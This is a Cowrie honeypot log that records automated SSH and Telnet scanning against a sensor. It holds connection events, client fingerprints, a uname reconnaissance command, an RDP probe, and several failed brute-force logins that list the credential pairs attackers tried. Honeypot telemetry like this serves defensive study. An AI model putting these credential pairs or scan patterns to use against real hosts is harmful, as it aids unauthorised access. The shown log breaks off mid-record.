{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:32.923041Z","src_ip":"103.24.63.85","session":"8268878c4961","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:32.926987Z","src_ip":"103.24.63.85","session":"8268878c4961","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:33.177429Z","src_ip":"103.24.63.85","session":"8268878c4961","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:33.265456Z","src_ip":"103.24.63.85","session":"8268878c4961","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33994,"dst_ip":"10.17.0.5","dst_port":23,"session":"b106787b4958","protocol":"telnet","message":"New connection: 192.119.13.58:33994 (10.17.0.5:23) [session: b106787b4958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:33.444716Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41296,"dst_ip":"10.17.0.5","dst_port":23,"session":"13b02d185cd5","protocol":"telnet","message":"New connection: 192.119.13.58:41296 (10.17.0.5:23) [session: 13b02d185cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:35.418837Z"}
{"eventid":"cowrie.session.closed","duration":41.67264103889465,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:38.128114Z","src_ip":"192.119.13.58","session":"fe24f35fb19e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.92979168891907,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:40.050872Z","src_ip":"192.119.13.58","session":"5452f9410477","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.913320779800415,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:40.751144Z","src_ip":"192.119.13.58","session":"883e61432e2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.47699332237244,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:42.871299Z","src_ip":"192.119.13.58","session":"f99cc3162a8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.02464985847473,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:47.160341Z","src_ip":"192.119.13.58","session":"2b276a2b0b5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":30043,"dst_ip":"159.203.135.109","dst_port":22,"session":"066d591e1eeb","protocol":"ssh","message":"New connection: 103.24.63.85:30043 (159.203.135.109:22) [session: 066d591e1eeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:49.557066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:49.561927Z","src_ip":"103.24.63.85","session":"066d591e1eeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:49.921994Z","src_ip":"103.24.63.85","session":"066d591e1eeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser123","message":"login attempt [esuser/esuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:50.832721Z","src_ip":"103.24.63.85","session":"066d591e1eeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42594,"dst_ip":"10.17.0.5","dst_port":23,"session":"0632e4bd7944","protocol":"telnet","message":"New connection: 192.119.13.58:42594 (10.17.0.5:23) [session: 0632e4bd7944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:51.182677Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:52.159107Z","src_ip":"103.24.63.85","session":"066d591e1eeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33262,"dst_ip":"10.17.0.5","dst_port":23,"session":"a29e0825f49f","protocol":"telnet","message":"New connection: 192.119.13.58:33262 (10.17.0.5:23) [session: a29e0825f49f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:46:56.012918Z"}
{"eventid":"cowrie.session.closed","duration":45.759012937545776,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:47:03.285804Z","src_ip":"192.119.13.58","session":"5598bff01451","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.434014558792114,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:47:05.169231Z","src_ip":"192.119.13.58","session":"46960b7acc16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.82428216934204,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:47:06.337121Z","src_ip":"192.119.13.58","session":"80842c9ff02f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44198,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bc38ab9d193","protocol":"telnet","message":"New connection: 192.119.13.58:44198 (10.17.0.5:23) [session: 5bc38ab9d193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:47:06.712428Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39146,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d2816e2cf4f","protocol":"telnet","message":"New connection: 192.119.13.58:39146 (10.17.0.5:23) [session: 1d2816e2cf4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:47:12.670696Z"}
{"eventid":"cowrie.session.closed","duration":44.95953845977783,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:47:18.404191Z","src_ip":"192.119.13.58","session":"b106787b4958","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.066580533981323,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:47:22.249099Z","src_ip":"192.119.13.58","session":"0632e4bd7944","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54632,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca012f26a636","protocol":"telnet","message":"New connection: 192.119.13.58:54632 (10.17.0.5:23) [session: ca012f26a636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:47:23.858896Z"}
{"eventid":"cowrie.session.closed","duration":51.86392664909363,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:47:27.282642Z","src_ip":"192.119.13.58","session":"13b02d185cd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45408,"dst_ip":"10.17.0.5","dst_port":23,"session":"34fcb9097fcd","protocol":"telnet","message":"New connection: 192.119.13.58:45408 (10.17.0.5:23) [session: 34fcb9097fcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:47:28.620816Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53716,"dst_ip":"10.17.0.5","dst_port":23,"session":"7531f6bde1ea","protocol":"telnet","message":"New connection: 192.119.13.58:53716 (10.17.0.5:23) [session: 7531f6bde1ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:47:30.408479Z"}
{"eventid":"cowrie.session.closed","duration":3.554152250289917,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:47:33.962514Z","src_ip":"192.119.13.58","session":"7531f6bde1ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":54300,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b8612a2d2d5","protocol":"ssh","message":"New connection: 103.153.68.219:54300 (10.17.0.5:22) [session: 5b8612a2d2d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:47:34.370753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:47:34.378501Z","src_ip":"103.153.68.219","session":"5b8612a2d2d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:47:34.628802Z","src_ip":"103.153.68.219","session":"5b8612a2d2d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":56506,"dst_ip":"10.17.0.5","dst_port":22,"session":"72458cf7ee95","protocol":"ssh","message":"New connection: 167.172.81.52:56506 (10.17.0.5:22) [session: 72458cf7ee95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:47:35.037925Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:47:35.043245Z","src_ip":"167.172.81.52","session":"72458cf7ee95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:47:35.047225Z","src_ip":"167.172.81.52","session":"72458cf7ee95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweasdzx","message":"login attempt [root/qweasdzx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:47:35.379279Z","src_ip":"103.153.68.219","session":"5b8612a2d2d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:47:36.632384Z","src_ip":"103.153.68.219","session":"5b8612a2d2d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.02481722831726,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:47:37.037608Z","src_ip":"192.119.13.58","session":"a29e0825f49f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.970258474349976,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:47:38.682592Z","src_ip":"192.119.13.58","session":"5bc38ab9d193","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36774,"dst_ip":"10.17.0.5","dst_port":23,"session":"503c8643ffd1","protocol":"telnet","message":"New connection: 192.119.13.58:36774 (10.17.0.5:23) [session: 503c8643ffd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:47:40.727099Z"}
{"eventid":"cowrie.session.closed","duration":34.5051908493042,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:47:47.175787Z","src_ip":"192.119.13.58","session":"1d2816e2cf4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55020,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f225b758526","protocol":"telnet","message":"New connection: 192.119.13.58:55020 (10.17.0.5:23) [session: 7f225b758526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:47:52.850953Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37678,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a9f3bf09a77","protocol":"telnet","message":"New connection: 192.119.13.58:37678 (10.17.0.5:23) [session: 7a9f3bf09a77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:47:55.504837Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34990,"dst_ip":"10.17.0.5","dst_port":23,"session":"984afba99cc6","protocol":"telnet","message":"New connection: 192.119.13.58:34990 (10.17.0.5:23) [session: 984afba99cc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:01.574317Z"}
{"eventid":"cowrie.session.closed","duration":35.05964779853821,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:03.680324Z","src_ip":"192.119.13.58","session":"34fcb9097fcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":50704,"dst_ip":"10.17.0.5","dst_port":22,"session":"813b005aa51b","protocol":"ssh","message":"New connection: 103.173.227.57:50704 (10.17.0.5:22) [session: 813b005aa51b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:08.079548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:08.085417Z","src_ip":"103.173.227.57","session":"813b005aa51b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:08.324039Z","src_ip":"103.173.227.57","session":"813b005aa51b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.227.189","src_port":51280,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a882d5866fe","protocol":"ssh","message":"New connection: 14.224.227.189:51280 (159.203.135.109:22) [session: 7a882d5866fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:08.623499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:08.626887Z","src_ip":"14.224.227.189","session":"7a882d5866fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:08.860898Z","src_ip":"14.224.227.189","session":"7a882d5866fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:09.041054Z","src_ip":"103.173.227.57","session":"813b005aa51b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678a","message":"login attempt [ubuntu/12345678a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:09.835445Z","src_ip":"14.224.227.189","session":"7a882d5866fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.146589040756226,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:10.005376Z","src_ip":"192.119.13.58","session":"ca012f26a636","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:10.281253Z","src_ip":"103.173.227.57","session":"813b005aa51b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:11.076826Z","src_ip":"14.224.227.189","session":"7a882d5866fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":51850,"dst_ip":"10.17.0.5","dst_port":22,"session":"c352e927019e","protocol":"ssh","message":"New connection: 103.75.183.219:51850 (10.17.0.5:22) [session: c352e927019e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:11.526219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:11.530749Z","src_ip":"103.75.183.219","session":"c352e927019e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47282,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d487ce1f495","protocol":"telnet","message":"New connection: 192.119.13.58:47282 (10.17.0.5:23) [session: 0d487ce1f495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:48:11.555700Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecd